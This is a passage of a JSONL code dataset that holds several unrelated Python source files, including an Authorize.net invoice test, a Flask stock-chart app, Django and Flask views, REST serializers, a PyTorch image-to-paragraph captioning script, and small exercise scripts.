'constants.py')\n# warnings.filterwarnings(\"ignore\",category=DeprecationWarning)\nimport base64\nimport urllib3\n\nExternalConfig = imp.load_source('modulename', '.\\ExternalConfiguration.py')\n\n\ndef create_invoice():\n ExternalConfig.setConfig();\n apiclient = ExternalConfig.configureApiClient();\n authorization = ExternalConfig.getAuthorization()\n futdate = ExternalConfig.futuredate(\"%Y-%m-%d\")\n api_instance = authorizenet_rest.apis.invoices_api.InvoicesApi(apiclient)\n\n identifier = authorizenet_rest.Identifier()\n identifier.email = \"Testeamadil@gmail.com\"\n identifier.reference = \"Refernce\"\n\n\n linkSelf = [\"Href1\", \"title\", \"Method\"]\n paymentMethods = [\"Href2\", \"paymethodstitle\", \"paymethods\"]\n address = [\"Href3\", \"addresstitle\", \"address\"]\n customerLinks =authorizenet_rest.CustomerLinks(linkSelf, paymentMethods, address)\n customer = [\"1813162390\", \"TESTdDesss01\",identifier,customerLinks]\n listitem = authorizenet_rest.Items()\n listitem.name = \"Datas\"\n listitem.description = \"data descitp\"\n listitem.quantity = \"1\"\n listitem.unit_price = \"234\"\n lineitem = [listitem]\n tax =[1, \"tax\", 2, \"taxt\"]\n createinvoice =[\"76\",\"Invoice description\",customer, \"Test Payer\", futdate, 10, 1, 1, 20, lineitem, tax, \"false\"]\n\n try:\n # Create A Webhook\n api_response = api_instance.create_invoice(createinvoice)\n pprint(api_response)\n return api_response.invoice_number\n\n except ApiException as e:\n print(\"Exception when calling AddressesApi->create_invoice: %s\\n\" % e)\n # QA modification\n\n\nif (os.path.basename(__file__) == os.path.basename(sys.argv[0])):\n create_invoice()","sub_path":"REST/Invoices/create-invoice.py","file_name":"create-invoice.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"171084648","text":"from flask import Flask, render_template, request, redirect\nfrom bokeh.layouts import gridplot\nfrom bokeh.plotting import figure\nfrom bokeh.charts import TimeSeries\nfrom bokeh.embed import components\nimport requests\nimport simplejson as json\nimport pandas as pd\nimport numpy as np\n\napp = Flask(__name__)\n\napp.vars={}\n\nMy_API_Key = 'INSERT_YOUR_API_KEY'\n\n@app.route('/')\ndef main():\n return redirect('/index')\n\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return render_template('index.html')\n else: #request was a POST\n app.vars['stock'] = request.form.get('stock_label')\n app.vars['price'] = request.form.getlist('price_type')\n return redirect('/stock_graph')\n\n@app.route('/stock_graph', methods=['GET'])\ndef graph():\n stock = app.vars['stock'].upper()\n price_list = app.vars['price']\n api_url = \"https://www.quandl.com/api/v3/datasets/WIKI/%s.json?api_key=%s\" % (stock, My_API_Key)\n\n session = requests.Session()\n session.mount('http://', requests.adapters.HTTPAdapter(max_retries=3))\n r = session.get(api_url)\n json_data = r.json()\n\n df = pd.DataFrame(json_data['dataset']['data'], columns=json_data['dataset']['column_names'])\n df['Date'] = pd.to_datetime(df['Date'])\n\n # Example: http://bokeh.pydata.org/en/latest/docs/reference/charts.html#timeseries\n plot = TimeSeries(df, x='Date', y=price_list, color=price_list, legend=True, active_scroll='wheel_zoom',\n title=\"Data from Quandl WIKI set\", ylabel='Price', xlabel='Date')\n\n plot.title.align = 'center'\n plot.title.text_font_size = '16pt'\n plot.title.text_font_style = 'normal' \n\n script, div = components(plot)\n return render_template('graph.html', script=script, div=div, stock=stock)\n\nif __name__ == '__main__':\n app.run(debug=False)\n #app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"339695284","text":"\"\"\"bill URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom web import views\n\nurlpatterns = [\n url(r'^company/$', views.company_list, name=\"company_list\"),\n url(r'^company/add/$', views.company_edit, name=\"company_add\"),\n url(r'^company/edit/(?P\\d+)/$', views.company_edit, name=\"company_edit\"),\n url(r'^company/del/(?P\\d+)/$', views.company_del, name=\"company_del\"),\n]\n","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"189477938","text":"import logging\nimport re\nfrom datetime import datetime\n\nfrom google.appengine.ext import ndb\n\nfrom base import BaseHandler, auth_required\nfrom models import Event\nfrom models import Project\nfrom data_services import ProjectService\n\n# google API\nimport httplib2\nfrom apiclient.discovery import build\n\n\nclass ProjectsHandler(BaseHandler):\n @auth_required\n def get(self):\n projects = self.get_project_list()\n params = {\n 'projects': projects\n }\n if self.request.get('message'):\n params['message'] = self.request.get('message')\n self.render_template(\"projects.html\", params)\n\n @auth_required\n def add(self):\n project_name = self.request.get('project_name').strip()\n hourly_rate = self.request.get('hourly_rate')\n\n if not project_name or not hourly_rate:\n self.response.set_status(201)\n self.response.write('Project name and hourly rate are required')\n return\n\n if not re.match(\"^[a-zA-Z0-9_\\-\\s]+$\", project_name):\n self.response.set_status(201)\n self.response.write('Project name contains invalid characters')\n return\n\n if not re.match(r\"(\\d+(\\.\\d*)?|\\.\\d+)\", hourly_rate):\n self.response.set_status(201)\n self.response.write('Hourly rate is not a positive number or 0')\n return\n\n if len(project_name) > 25:\n self.response.set_status(201)\n self.response.write('Project name must be under 25 chars')\n return\n\n project = Project(parent=self.user.key)\n project = ProjectService.save_project(project, project_name, hourly_rate, self.user)\n\n self.response.write(project.key.urlsafe())\n\n def get_project_list(self):\n projects = Project.query(ancestor=self.user.key).order(Project.name).fetch()\n\n return projects\n\n @auth_required\n def get_project(self, project_key):\n try:\n project_key = ndb.Key(urlsafe=project_key)\n except Exception as e:\n logging.warn(e)\n self.response.set_status(404)\n self.render_template(\"errors/404.html\")\n return\n project = Project.query(ancestor=self.user.key).filter(Project.key == project_key).get()\n\n events = Event.query(ancestor=project.key).fetch()\n total_mins = 0\n billed_mins = 0\n for ev in events:\n total_mins = total_mins + ev.elapsed_time\n if ev.billed:\n billed_mins = billed_mins + ev.elapsed_time\n\n params = {\n 'project': project,\n 'events': events,\n 'total_mins': total_mins,\n 'billed_mins': billed_mins,\n 'google_login': True if self.user.google_credentials else False\n }\n self.render_template('project-details.html', params)\n\n @auth_required\n def edit_project(self):\n project_name = self.request.get('project_name').strip()\n hourly_rate = self.request.get('hourly_rate')\n\n if not project_name or not hourly_rate:\n self.response.set_status(201)\n self.response.write('Project name and hourly rate are required')\n return\n\n if not re.match(\"^[a-zA-Z0-9_\\-\\s]+$\", project_name):\n self.response.set_status(201)\n self.response.write('Project name contains invalid characters')\n return\n\n if not re.match(r\"(\\d+(\\.\\d*)?|\\.\\d+)\", hourly_rate):\n self.response.set_status(201)\n self.response.write('Hourly rate is not a positive number')\n return\n\n if len(project_name) > 25:\n self.response.set_status(201)\n self.response.write('Project name must be under 25 chars')\n return\n try:\n project = ndb.Key(urlsafe=self.request.get('project_id')).get()\n except Exception as e:\n logging.warn(e)\n self.response.set_status(404)\n self.render_template(\"errors/404.html\")\n return\n\n project = ProjectService.edit_project(project, project_name, hourly_rate)\n\n self.response.write(project.key.urlsafe())\n\n @auth_required\n def delete_project(self):\n ProjectService.delete_project(self.request.get('project_id'), self.user)\n\n @auth_required\n def export_project(self):\n try:\n project_key = ndb.Key(urlsafe=self.request.get('project_id'))\n except Exception as e:\n logging.warn(e)\n self.response.set_status(404)\n self.render_template(\"errors/404.html\")\n return\n\n selected_cal = self.request.get('selected_cal')\n\n credentials = self.user.google_credentials\n\n if not credentials:\n self.response.status = 501\n return\n\n http = httplib2.Http()\n http = credentials.authorize(http)\n service = build('calendar', 'v3', http=http)\n\n events = Event.query(ancestor=project_key).fetch()\n\n events_number = 0\n for ev in events:\n event = {\n 'summary': ev.title,\n 'description': ev.description,\n 'start': {\n 'dateTime': datetime.strftime(ev.start_time, '%Y-%m-%dT%H:%M:00+02:00')\n },\n 'end': {\n 'dateTime': datetime.strftime(ev.end_time, '%Y-%m-%dT%H:%M:00+02:00')\n }\n }\n\n event = service.events().insert(calendarId=selected_cal, body=event).execute()\n if event:\n events_number += 1\n\n self.response.write(events_number)\n","sub_path":"handlers/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"150520584","text":"import json\nfrom food_diary import FoodDiary\nfrom cli import CLI\nfrom calories import Calories\n\n\ndef main():\n f = open(\"food_diary.json\", 'r')\n try:\n data = json.load(f)\n except:\n data = {}\n\n c = open('calories.json', 'r')\n try:\n calories = json.load(c)\n except:\n calories = {}\n\n f.close()\n c.close()\n\n cal = Calories(calories)\n fd = FoodDiary(data, cal)\n cli = CLI(fd)\n\n cli.start()\n\n f = open(\"food_diary.json\", 'w')\n json.dump(data, f, indent=4)\n f.close()\n\n c = open(\"calories.json\", 'w')\n json.dump(calories, c, indent=4)\n c.close()\n\nif __name__ == '__main__':\n main()\n","sub_path":"week01/food_diary_extended/food_diary_main.py","file_name":"food_diary_main.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"236811637","text":"from django.urls import path\nfrom . import views\n\napp_name = 'appointment'\n\nurlpatterns = [\n path(\"appointments/p/\", views.AppointmentsForPatientView.as_view(), name=\"patient_appointments\"),\n path(\"appointments/d/\", views.AppointmentsForDoctorView.as_view(), name=\"doctor_appointments\"),\n path(\"medHistory/\", views.MedicalHistoryView.as_view(), name=\"med_history\"),\n path(\"prescriptions/\", views.PrescriptionListView.as_view(), name=\"doctor_prescriptions\"),\n path(\"prescription/create\", views.PrescriptionCreateView, name=\"doc_prescription_create\"),\n path(\"appointment/create\", views.AppointmentCreateView, name=\"appointment_create\"),\n path(\"recdashboard/\", views.recdashboard, name=\"rec_dashboard\"),\n path(\"hrdashboard/\", views.hrdashboard, name=\"hr_dashboard\"),\n]","sub_path":"appointment/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"489907408","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(17, GPIO.OUT)\nGPIO.setup(18, GPIO.OUT)\n\ndiodes = { 17: 1, 18: 0 }\n\n\nfor _ in range(10):\n for key, value in diodes.iteritems():\n new_value = 0 if value == 1 else 1\n GPIO.output(key, new_value)\n diodes[key] = new_value\n\n sleep(0.5)\n\nGPIO.cleanup()\n","sub_path":"led.py","file_name":"led.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"185488830","text":"path = 'http://localhost/rmehta/erpnext.org/lib/py/'\n\nimport requests, json\nimport objstore\nimport unittest\nimport conf\n\n# test path\nconf.db_path = 'test.db'\n\nclass TestObjStore(unittest.TestCase):\n\tdef tearDown(self):\n\t\t\"\"\"clear the db\"\"\"\n\t\timport os, conf\n\t\tif os.path.exists(conf.db_path):\n\t\t\tos.remove(conf.db_path)\n\n\t\n\tdef test_vector_variations(self):\n\t\tobs = objstore.ObjStore()\n\n\t\tobs.post({\"type\":\"user\", \"name\":\"test\", \"user_comment\":[\n\t\t\t{\"text\":\"hello\", \"on\":\"2011-11-11\"}]})\n\t\tr = obs.sql(\"select * from user_comment\", as_dict=1)[0]\n\t\tself.assertTrue(r[\"text\"]==\"hello\")\n\t\t\n\t\tr = obs.get(\"user\", \"test\")\n\t\tself.assertTrue(r[\"user_comment\"][0][\"text\"] == \"hello\")\n\n\t\tobs.post({\"type\":\"user\", \"name\":\"test\", \"user_family\":{\n\t\t\t\"father\":\"test_father\", \"mother\":\"test_mother\"\n\t\t}})\n\t\tr = obs.sql(\"select * from user_family\", as_dict=1)[0]\n\t\tself.assertTrue(r[\"mother\"]==\"test_mother\")\n\n\t\tr = obs.get(\"user\", \"test\")\n\t\tself.assertTrue(r[\"user_family\"][0][\"father\"] == \"test_father\")\n\n\tdef test_post(self):\t\n\t\t# first post\n\t\tlogin = requests.get(path + 'session.py', params = {\"user\":\"test\", \"password\":\"p1\"})\n\n\t\tr = requests.post(path + 'objstore.py', \n\t\t\tparams = {\"json\": json.dumps({\"type\":\"user\",\"name\":\"test\"})}, cookies = login.cookies)\n\t\tr = json.loads(r.content)\n\t\tself.assertTrue(r['message'] == 'ok')\n\t\t\n\t\t# then get\n\t\tr = requests.get(path + 'objstore.py', \n\t\t\tparams = {\"type\":\"user\", \"name\":\"test\"}, cookies = login.cookies)\n\t\tr = json.loads(r.content)\n\t\tself.assertTrue(r['name'] == 'test')\n\t\t\n\tdef test_add_column(self):\n\t\tlogin = requests.get(path + 'session.py', params = {\"user\":\"test\", \"password\":\"p1\"})\n\n\t\tr = requests.post(path + 'objstore.py', \n\t\t\tparams = {\"json\": json.dumps({\"type\":\"user\",\"name\":\"test\"})}, cookies = login.cookies)\n\t\tr = json.loads(r.content)\n\t\tself.assertTrue(r['message'] == 'ok')\n\n\t\tr = requests.post(path + 'objstore.py', \n\t\t\tparams = {\"json\": json.dumps({\"type\":\"user\",\"name\":\"test\",\n\t\t\t\"email\":\"test3\"})}, cookies = login.cookies)\n\t\tr = json.loads(r.content)\n\t\tself.assertTrue(r['message'] == 'ok')\n\n\t\t# then get\n\t\tr = requests.get(path + 'objstore.py', \n\t\t\tparams = {\"type\":\"user\", \"name\":\"test\"})\n\t\tr = json.loads(r.content)\n\t\tself.assertTrue(r['email'] == 'test3')\n\n\tdef test_query(self):\n\t\tr = requests.get(path + 'query.py', \n\t\t\tparams = {\"json\": json.dumps({\n\t\t\t\t\"type\":\"page\", \n\t\t\t\t\"columns\":\"name, label, _updated\",\n\t\t\t\t\"order_by\":\"label asc\"})})\n\t\t#print r.content\n\t\t\n\tdef test_filelist(self):\n\t\tr = requests.get(path + 'files.py')\n\t\t#print r.content\n\nif __name__=='__main__':\n\tunittest.main()","sub_path":"py/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"287112342","text":"__author__ = 'klaatu'\nfrom rest_framework import serializers\nfrom .models import *\n\n\nclass ClasesSerializer(serializers.ModelSerializer):\n bestcycling_descripcion = serializers.SerializerMethodField()\n bestcycling_imagen = serializers.SerializerMethodField()\n deportes_descripcion = serializers.SerializerMethodField()\n deportes_imagen = serializers.SerializerMethodField()\n aerobicos_descripcion = serializers.SerializerMethodField()\n aerobicos_imagen = serializers.SerializerMethodField()\n talleres_descripcion = serializers.SerializerMethodField()\n talleres_imagen = serializers.SerializerMethodField()\n\n class Meta:\n model = Clases\n fields = (\n 'lema', 'imagen', 'bestcycling_descripcion', 'bestcycling_imagen', 'deportes_descripcion',\n 'deportes_imagen', 'aerobicos_descripcion', 'aerobicos_imagen', 'talleres_descripcion', 'talleres_imagen')\n\n def get_bestcycling_descripcion(self, obj):\n descripcion = BestCyclng.objects.get(tipo='PRINCIPAL').descripcion\n return descripcion\n\n def get_deportes_descripcion(self, obj):\n descripcion = DeportesDeContacto.objects.get(tipo='PRINCIPAL').descripcion\n return descripcion\n\n def get_aerobicos_descripcion(self, obj):\n descripcion = Aerobicos.objects.get(tipo='PRINCIPAL').descripcion\n return descripcion\n\n def get_talleres_descripcion(self, obj):\n descripcion = Talleres.objects.get(tipo='PRINCIPAL').descripcion\n return descripcion\n\n def get_bestcycling_imagen(self, obj):\n request = self.context.get('request')\n imagen_url = BestCyclng.objects.get(id=1).imagen.url\n b_imagen = request.build_absolute_uri(imagen_url)\n return b_imagen\n\n def get_deportes_imagen(self, obj):\n request = self.context.get('request')\n imagen_url = DeportesDeContacto.objects.get(id=1).imagen.url\n d_imagen = request.build_absolute_uri(imagen_url)\n return d_imagen\n\n def get_aerobicos_imagen(self, obj):\n request = self.context.get('request')\n imagen_url = Aerobicos.objects.get(id=1).imagen.url\n a_imagen = request.build_absolute_uri(imagen_url)\n return a_imagen\n\n def get_talleres_imagen(self, obj):\n request = self.context.get('request')\n imagen_url = Talleres.objects.get(id=1).imagen.url\n t_imagen = request.build_absolute_uri(imagen_url)\n return t_imagen\n\n\nclass DiasSerializer(serializers.ModelSerializer):\n horas = serializers.StringRelatedField(many=True, read_only=True)\n\n class Meta:\n model = Dia\n fields = ('dia', 'horas')\n\n\nclass HorarioSerializer(serializers.ModelSerializer):\n dias = DiasSerializer(many=True, read_only=True)\n\n class Meta:\n model = Horario\n\n\nclass DeporteDeContactoSerializer(serializers.ModelSerializer):\n horario = HorarioSerializer(many=True, read_only=True)\n\n class Meta:\n model = DeportesDeContacto\n\n\nclass BestCyclingSerializer(serializers.ModelSerializer):\n horario = HorarioSerializer(many=True, read_only=True)\n\n class Meta:\n model = BestCyclng\n\n\nclass AerobicosSerializer(serializers.ModelSerializer):\n horario = HorarioSerializer(many=True, read_only=True)\n\n class Meta:\n model = Aerobicos\n\n\nclass TalleresSerializer(serializers.ModelSerializer):\n horario = HorarioSerializer(many=True, read_only=True)\n\n class Meta:\n model = Talleres\n","sub_path":"apps/clases/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"569677781","text":"import json\nfrom pickle import load\nimport numpy as np\nimport pandas as pd\nfrom numpy import linalg as LA\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch import optim\nimport torch.nn.functional as F\nfrom timeit import default_timer as timer\nimport sys\n\nglobal USE_CUDA # if to use CUDA\nUSE_CUDA = False\nglobal MAX_SENTC # max number of sentences in the paragraphs \nMAX_SENTC = 8\nglobal L_S # learning rate\nL_S = 5.0\nglobal L_W # learning rate\nL_W = 1.0\nglobal lamb # alpha value in coherencce equation\nlamb = 0.6\nglobal max_length\nmax_length = 10 # to set the length\n\n\nclass im2p(nn.Module):\n def __init__(self, hidden_size, output_size, vec_size, coher_hidden_size, topic_hidden_size, nos_imgfeat, cont_flag, n_layers_cont, n_layers_text, n_layers_couple):\n super(im2p,self).__init__()\n self.n_layers_cont = n_layers_cont\n self.n_layers_text = n_layers_text\n self.n_layers_couple = n_layers_couple\n self.output_size = output_size\n self.hidden_size = hidden_size\n self.vec_size = vec_size\n self.coher_hidden_size = coher_hidden_size\n self.topic_hidden_size = topic_hidden_size\n self.nos_imgfeat = nos_imgfeat\n self.cont_flag = cont_flag\n # continue stop network\n self.img_encoding = nn.Linear(nos_imgfeat, hidden_size)\n self.embedding = nn.Embedding(output_size, hidden_size) # For handling the text inputs\n self.gru_cont = nn.GRU(hidden_size, hidden_size, n_layers_cont) # GRU for start stop\n self.gru_text = nn.GRU(hidden_size, hidden_size, n_layers_text) # GRU for sentence\n self.out_cont = nn.Linear(hidden_size, cont_flag) # Flag indicating if we should continue\n self.out_text = nn.Linear(hidden_size, output_size)\n self.softmax = nn.LogSoftmax()\n # coupling network\n self.gru_couple = nn.GRU(vec_size, hidden_size, n_layers_couple) # GRU for the coupling unit\n # Coherence Network\n self.fc_1_coher = nn.Linear(hidden_size, coher_hidden_size) # First Layer\n self.fc_2_coher = nn.Linear(coher_hidden_size, hidden_size) # Second Layer\n self.non_lin_coher = nn.SELU(inplace = False)\n # Topic Network\n self.fc_1_topic = nn.Linear(hidden_size, topic_hidden_size) # First Layer\n self.fc_2_topic = nn.Linear(topic_hidden_size, hidden_size) # Second Layer\n self.non_lin_topic = nn.SELU(inplace = False)\n\n def forward(self, input, hidden, flag):\n if flag == 'level_1': # Passing image features and stars for the first GRU of every sentence - Sentence RNN\n ip = self.img_encoding(input) # .view(1, 1, -1)\n ip = ip.view(1, 1, -1)\n output, hidden = self.gru_cont(ip, hidden)\n k = self.out_cont(output[0])\n output = self.softmax(k) # Obtain the labels of whether to continue or stop\n elif flag == 'level_2': # Passing word embeddings - Word RNN\n output = input\n if input.size() != torch.Size([1,1,512]):\n output = self.embedding(output).view(1, 1, -1)\n output = F.relu(output)\n output, hidden = self.gru_text(output, hidden)\n output, hidden = self.gru_text(output, hidden)\n output = self.out_text(output[0])\n self.softmax = nn.LogSoftmax()\n output = self.softmax(output)\t\n elif flag == 'couple': # Forward through the coupling unit\n output, hidden = self.gru_couple(input, hidden)\n elif flag == 'coher': # Forward through the Coherence Vector Network\n output = self.fc_1_coher(input)\n output = self.non_lin_coher(output)\n output = self.fc_2_coher(output)\n output = self.non_lin_coher(output)\n hidden = None\n elif flag == 'topic': # Forward through the Coherence Vector Network\n output = self.fc_1_topic(input)\n output = self.non_lin_topic(output)\n output = self.fc_2_topic(output)\n output = self.non_lin_topic(output)\n hidden = None\n return output, hidden\nmodel = torch.load('model6.pth')\nhidden_size_p = 512\noutput_size_p = 7047 # vocab size\nvec_size_p = 512\ncoher_hidden_size_p = hidden_size_p\ntopic_hidden_size_p = hidden_size_p \n# all hidden sizes are same\nnos_imgfeat_p = 2048 # feature vector\ncont_flag_p = 1\nn_layers_cont_p = 1\nn_layers_text_p = 1\nn_layers_couple_p = 1\n\nwith open('final/files/generated_files/word_list.json',\"r\") as f:\n k = f.read()\n wrd_list = json.loads(k)\nwrd_list = dict([(int(key),value) for key, value in wrd_list.items()]) \npickle_filename = 'final/files/features_test.pkl'\nf = open(pickle_filename,'rb')\nfeatures = load(f) #load the features dictionary from the pickle file\nf.close()\n# img_id = '2406949'\nimg_id = sys.argv[1].split('.')[0]\nmodel_hidden_st = None # Stores the hidden state vector at every step of the Sentence RNN\npred_words = [] # Stores the list of synthesized words\n\n# Create the array of topic vectors and the Global Topic Vector -- Topic Generation Net\ngl_mh = np.zeros((1, 1, hidden_size_p, MAX_SENTC)); val_sent = 0;\n\nfor st in range(MAX_SENTC): # Iterate over each sentence separately\n\n feats = features[img_id] \n\n\n temp_ip = torch.from_numpy(feats)\n temp_ip = temp_ip.float()\n mod_ip = Variable(temp_ip) # Push in the Image Feature Here\n\n if st == 0: # Initialize the hidden state for the first se\n temp_hid = np.zeros(hidden_size_p, dtype = np.float32) # random.uniform(0, 1, (opt.hidden_size - star_embed ) )\n temp_hid = temp_hid.reshape(1, 1, hidden_size_p )\n model_hidden = Variable(torch.from_numpy(temp_hid))\n else:\n mh = model_hidden_st.cpu().data.numpy()\n model_hidden = Variable(torch.from_numpy(mh[0, 0, :hidden_size_p].reshape(1, 1, hidden_size_p)))\n\n # Check if Variable should be moved to GPU\n if USE_CUDA:\n mod_ip = mod_ip.cuda()\n model_hidden = model_hidden.cuda()\n\n output_contstop, model_hidden = model(mod_ip,model_hidden,'level_1') # level_1 indicates that we are using the Senetence RNN\n model_hidden_st = model_hidden\n strtstp_topv, strtstp_topi = output_contstop.data.topk(1)\n strtstp_ni = strtstp_topi[0][0]\n\n if strtstp_ni == 0: # So we continue\n val_sent = val_sent + 1\n gl_mh[0, 0, :, st] = (model(model_hidden_st, None, 'topic')[0].cpu().data.numpy()).reshape(1, 1, hidden_size_p) # Transform the hidden state to obtain the topic vector\n\n# Compute the Global Topic Vector as a weighted average of the individual topic vectors\nglob_vec = gl_mh[0, 0, :, 0].reshape(1, 1, hidden_size_p)\nfor i in range(1, val_sent):\n glob_vec[:, :, :] += gl_mh[:, :, :, i].reshape(1, 1, hidden_size_p) * (LA.norm(gl_mh[:, :, :, i].reshape(-1)) / np.sum(LA.norm(gl_mh[:, :, :, :].reshape(-1, val_sent).T, axis=1)))\n\n# Sentence Generation Net\n#Previous Hidden State Vector\nprev_vec = (np.zeros((1, 1, hidden_size_p))).astype(np.float32)\n\nfor st in range(MAX_SENTC): # Iterate over each sentence separately and generate the words\n\n sentence = []\n loc_vec = (gl_mh[:, :, :, st]).reshape(1, 1, -1) # The original topic vector for the current sentence\n comb = np.add((1-lamb) * loc_vec[0, 0, :], (lamb) * prev_vec[0, 0, :]) # Combine the current topic vector and the coherence vector from the previous sentence\n if type(comb) is not np.ndarray:\t\t\n foo = comb.numpy()\n comb = foo\t\n comb = comb.astype(np.float32)\n glob_vec = glob_vec.astype(np.float32)\t\n mh = (((model(torch.tensor([[glob_vec[0, 0,:]]]), torch.tensor([[comb]]), 'couple' )[0]).reshape(1, 1, -1)).detach().numpy()).astype(np.float32)\t\n\n # Construct the input for the first word of a sentence in the Sentence RNN\n\n model_input = Variable(torch.from_numpy(mh[0, 0, :]), requires_grad=True).reshape(1,1,hidden_size_p)\n model_hidden = Variable(torch.from_numpy(temp_hid), requires_grad=True).reshape(1,1,hidden_size_p)\n\n if USE_CUDA:\n model_hidden = model_hidden.cuda()\n model_input = model_input.cuda()\n\n for di in range(max_length):\n\n model_output, model_hidden = model(model_input, model_hidden, 'level_2') # level_2 indicates that we want to use the Sentence RNN\n topv, topi = model_output.data.topk(1) # Standard RNN decoding of the words\n ni = topi[0][0]\n ni = ni.data.item()\n # Check if EOS has been predicted\n if ni == len(wrd_list):\n sentence.append('')\n break\n else:\n sentence.append(wrd_list[ni])\n model_input = Variable(torch.LongTensor([ni]))\n if sentence not in pred_words:\n pred_words.append(sentence)\n # Re-initialize the previous vector\n prev_vec = model(model_hidden, None, 'coher')[0].detach()\nsentences = [' '.join(i) for i in pred_words]\nparagraphs = '.'.join(sentences)\nprint(paragraphs)\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"298290946","text":"class Solution:\n \"\"\"\n @param num: Given the candidate numbers\n @param target: Given the target number\n @return: All the combinations that sum to target\n \"\"\"\n def combinationSum2(self, num, target):\n # write your code here\n if num is None or len(num) == 0 or target is None:\n return []\n\n num.sort()\n self.result = []\n self.dfs(num, target, 0, [])\n return self.result\n\n def dfs(self, num, target, startpos, combination):\n if target == 0:\n if combination not in self.result:\n self.result.append(combination)\n\n for i in range(startpos, len(num)):\n if num[i] > target:\n return\n self.dfs(num, target - num[i], i+1, combination+[num[i]])\n","sub_path":"leet/source/searchDFS/combination_sum2.py","file_name":"combination_sum2.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"219881780","text":"'''\nDanny Lin\ndl3201\nHomework 3\n'''\n\n\n#homework 3 num 2\ndef decToBinary(num):\n binary = bin(num)\n return binary[2:len(binary)]\n\n#homework 3 num 3\ndef hexToASCII(hexLst):\n converted = \"\"\n for index in range(0,len(hexLst)):\n hexLst[index] = int(hexLst[index],16)\n converted += chr(hexLst[index])\n return converted\n \n#homework 3 num 4\ndef binToHex(binNums):\n splitLst = []\n while binNums:\n splitLst.append(binNums[:4])\n binNums = binNums[4:]\n converted = \"\"\n for index in range(0,len(splitLst)):\n splitLst[index] = hex(int(splitLst[index],2))\n converted += splitLst[index][2:len(splitLst[index])]\n return converted\n\n#homework 3 num 5\ndef octalToDec(octalNum):\n dec = 0\n for i in range(len(str(octalNum))):\n dec += (int(str(octalNum)[i]) * (8 ** (len(str(octalNum))-1-i)))\n return dec\n \n","sub_path":"number-conversions.py","file_name":"number-conversions.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"646348260","text":"\n\n#calss header\nclass _DISFIGURE():\n\tdef __init__(self,): \n\t\tself.name = \"DISFIGURE\"\n\t\tself.definitions = [u'to spoil the appearance of something or someone, especially their face, completely: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_disfigure.py","file_name":"_disfigure.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"41738574","text":"from celery.result import AsyncResult\nfrom flask import (\n current_app, flash, jsonify, render_template, request, url_for)\nfrom flask_login import current_user\nfrom sqlalchemy.sql import func\n\nfrom .. import celery, db\nfrom ..cache.cache import connect, assign_cache\nfrom ..models.auth import User\nfrom ..models.auth_units import permissions\nfrom ..models.captcha import Captcha\nfrom ..models.links import Link\nfrom ..models.pictures import Album, Picture\nfrom ..tasks.links import remove_one_alias\nfrom ..tasks.pictures import remove_an_album, remove_a_picture, verify_url\nfrom ..utils import define_page\nfrom . import ajax\nfrom .forms import GetUrl\n\n\n@ajax.route('/update-captcha', methods=['POST'])\ndef update_captcha():\n result = {'empty': True}\n if current_user.is_anonymous:\n captcha = Captcha.query.order_by(func.random()).first()\n rc = connect(current_app.config.get('CACHE_HOST', 'localhost'))\n result = {'empty': False,\n 'cache': assign_cache(\n rc, 'login:', captcha.suffix, captcha.value, 180),\n 'picture': url_for(\n 'main.show_captcha', suffix=captcha.suffix)}\n return jsonify(result)\n\n\n@ajax.route('/find-username', methods=['POST'])\ndef find_username():\n result = {'empty': True}\n if current_user.can(permissions.FOLLOW_USERS):\n found = User.query.filter(User.username.like(\n '{}%'.format(request.form.get('value', None, type=str)))).order_by(\n 